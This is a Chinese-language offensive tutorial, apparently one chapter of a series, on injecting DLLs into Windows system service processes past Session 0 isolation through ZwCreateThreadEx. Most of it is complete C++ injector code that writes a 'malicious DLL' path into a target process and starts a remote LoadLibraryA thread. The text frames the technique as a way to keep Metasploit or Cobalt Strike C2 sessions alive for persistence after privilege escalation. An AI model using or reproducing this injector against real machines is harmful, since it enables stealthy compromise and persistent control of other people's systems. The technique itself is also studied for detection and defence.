14-突破session 0远程线程注入
一、前言
参考文章:
突破SESSION 0隔离的远程线程注入 — Nattevak
远程线程注入DLL突破session 0 隔离 - cunren - 博客园
1.1 Session介绍
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0。
Session 0 是 Windows 操作系统中一个特殊的会话,它用于运行系统服务和后台进程。由于安全原因,Windows 从 Vista 开始将用户会话与系统会话分开,Session 0 不允许用户应用程序直接与之交互。这是为了防止恶意软件通过注入代码到系统服务中来提升权限。用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

通过ProcessHacker、ProcessExplorer、ProcessMonitor等工具可查看进程所属session。

1.2 ZwCreateThreadEx函数
通过调用 CreateRemoteThread
创建远程线程在NT内核6.0以前是没有什么问题,但在6.0以后引入了session隔离机制,在创建一个线程时先挂起,然后判断是否运行在所在会话层再决定是否恢复运行。
ZwCreateThreadEx(NtCreateThreadEx)
函数比 CreateRemoteThread
函数更接近内核,是 CreateRemoteThread
的底层实现。CreateRemoteThread
最终也是调用 ZwCreateThreadEx
函数来创建线程的,根据前人的研究发现,通过对 CreateRemoteThread
逆向研究,在内部调用 ZwCreateThreadEx
会把第七个参数 CreateThreadFlags
创建标识设置为1,这样会使创建的线程挂起,这也是注入失败的原因。
所以如果想要创建的线程成功执行我们需要将第七个参数指定为0,这样我们就能在创建线程后让他执行。
突破session 0远程线程注入
就其本质而言还是远程线程注入,只是我们将 CreateRemoteThread
函数替换为更底层的 ZwCreateThreadEx
函数,而 ZwCreateThreadEx
函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中。
好处:通过 突破session 0远程线程注入
,我们可以将shellcode/DLL注入到系统服务中,只要目标机器不关机,即使用户退出登录,也可以保持C2会话,达到了权限维持的目的。
ZwCreateThreadEx
的函数原型
#ifdef _WIN64
// 64 位 Windows 系统的 ZwCreateThreadEx 函数指针类型定义
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle, // 输出参数,接收新线程的句柄
ACCESS_MASK DesiredAccess, // 访问权限,指定对新线程的访问权限
LPVOID ObjectAttributes, // 对象属性,通常为 NULL
HANDLE ProcessHandle, // 目标进程的句柄,线程将在此进程中创建
LPTHREAD_START_ROUTINE lpStartAddress, // 线程启动例程的地址
LPVOID lpParameter, // 传递给线程的参数
ULONG CreateThreadFlags, // 创建线程的标志,通常为 0
SIZE_T ZeroBits, // 保留参数,通常为 0
SIZE_T StackSize, // 线程的堆栈大小,通常为 0
SIZE_T MaximumStackSize, // 最大堆栈大小,通常为 0
LPVOID pUnkown // 保留参数,通常为 NULL
);
#else
// 32 位 Windows 系统的 ZwCreateThreadEx 函数指针类型定义
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle, // 输出参数,接收新线程的句柄
ACCESS_MASK DesiredAccess, // 访问权限,指定对新线程的访问权限
LPVOID ObjectAttributes, // 对象属性,通常为 NULL
HANDLE ProcessHandle, // 目标进程的句柄,线程将在此进程中创建
LPTHREAD_START_ROUTINE lpStartAddress, // 线程启动例程的地址
LPVOID lpParameter, // 传递给线程的参数
BOOL CreateSuspended, // 指示线程是否以挂起状态创建
DWORD dwStackSize, // 线程的堆栈大小,通常为 0
DWORD dw1, // 保留参数,通常为 0
DWORD dw2, // 保留参数,通常为 0
LPVOID pUnkown // 保留参数,通常为 NULL
);
#endif
二、流程
使用
OpenProcess
打开目标进程使用
VirtualAllocEx
在远程进程中申请一块可执行的内存使用
WriteProcessMemory
写入 DLL 路径使用
LoadLibraryA
加载ntdll.dll使用
GetProcAddress
获取ZwCreateThreadEx函数地址使用
ZwCreateThreadEx
创建远线程,实现DLL注入。
⚠注意:
需要以管理员权限执行恶意exe,当然在实战中你可以使用各种提权漏洞或者其他的手动获得了管理员的权限再执行恶意exe,就能真正实现
突破session 0远程线程注入
,不过权限提升已经超出本教程的范围,感兴趣的读者可自行查找资料。由于会话隔离,在系统服务程序里不能显示程序窗体,也不能用常规方式创建用户进程,进程注入dll使用MessageBox或弹出计算器都会无法显示,所以用msf或cs的shellcode作为回显测试
64位的dll注入到64位系统服务程序里,32位dll注入到32系统服务里,跨进程注入不是本章的重点。
三、代码实现
#include "Windows.h"
#include <stdio.h>
#include <iostream>
#ifdef _WIN64
// 64 位 Windows 系统的 ZwCreateThreadEx 函数指针类型定义
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle, // 输出参数,接收新线程的句柄
ACCESS_MASK DesiredAccess, // 访问权限,指定对新线程的访问权限
LPVOID ObjectAttributes, // 对象属性,通常为 NULL
HANDLE ProcessHandle, // 目标进程的句柄,线程将在此进程中创建
LPTHREAD_START_ROUTINE lpStartAddress, // 线程启动例程的地址
LPVOID lpParameter, // 传递给线程的参数
ULONG CreateThreadFlags, // 创建线程的标志,通常为 0
SIZE_T ZeroBits, // 保留参数,通常为 0
SIZE_T StackSize, // 线程的堆栈大小,通常为 0
SIZE_T MaximumStackSize, // 最大堆栈大小,通常为 0
LPVOID pUnkown // 保留参数,通常为 NULL
);
#else
// 32 位 Windows 系统的 ZwCreateThreadEx 函数指针类型定义
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle, // 输出参数,接收新线程的句柄
ACCESS_MASK DesiredAccess, // 访问权限,指定对新线程的访问权限
LPVOID ObjectAttributes, // 对象属性,通常为 NULL
HANDLE ProcessHandle, // 目标进程的句柄,线程将在此进程中创建
LPTHREAD_START_ROUTINE lpStartAddress, // 线程启动例程的地址
LPVOID lpParameter, // 传递给线程的参数
BOOL CreateSuspended, // 指示线程是否以挂起状态创建
DWORD dwStackSize, // 线程的堆栈大小,通常为 0
DWORD dw1, // 保留参数,通常为 0
DWORD dw2, // 保留参数,通常为 0
LPVOID pUnkown // 保留参数,通常为 NULL
);
#endif
BOOL ZwCreateThreadExInjectDLL(DWORD dwProcessId, std::string dllpath) {
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 打开目标进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess) {
printf("Error OpenProcess:%d", GetLastError());
return FALSE;
}
// 在远程进程中申请一块可执行的内存
LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL) {
printf("Error VirtualAllocEx:%d", GetLastError());
return FALSE;
}
// 写入 DLL 路径
if (FALSE == WriteProcessMemory(hProcess, lpAddress, (LPCVOID)dllpath.data(), dllpath.size(), NULL)) {
printf("Error WriteProcessMemory:%d", GetLastError());
return FALSE;
}
// 加载ntdll.dll
HMODULE hNtdllDll = LoadLibraryA("ntdll.dll");
if (NULL == hNtdllDll) {
printf("Error Load 'ntdll.dll':%d", GetLastError());
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = GetProcAddress(::GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr) {
printf("Error GetProcAddress 'LoadLibraryW':%d", GetLastError());
return FALSE;
}
// 获取ZwCreateThreadEx函数地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx) {
printf("Error GetProcAddress 'ZwCreateThreadEx':%d", GetLastError());
return FALSE;
}
// 使用ZwCreateThreadEx创建远线程,实现DLL注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpAddress, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread) {
printf("Error Inject DLL:%u", dwStatus);
return FALSE;
}
CloseHandle(hProcess);
FreeLibrary(hNtdllDll);
return TRUE;
}
int main() {
// 用户输入被注入进程的PID和恶意DLL的路径
std::string dllPath;
DWORD PID;
std::cout << "请输入被注入进程的PID:";
std::cin >> PID;
std::cout << std::endl;
std::cout << "请输入恶意DLL路径:";
std::cin >> dllPath;
// 远线程注入 DLL
BOOL bRet = ZwCreateThreadExInjectDLL(PID, dllPath);
if (FALSE == bRet)
{
printf("Inject Dll Error.\n");
return 0;
}
printf("Inject Dll OK.\n");
return 0;
}
我选择注入到 OfficeClickToRun.exe
,你也可以选择注入到任意一个svchost.exe里面,but,系统崩溃可别怪我。




Last updated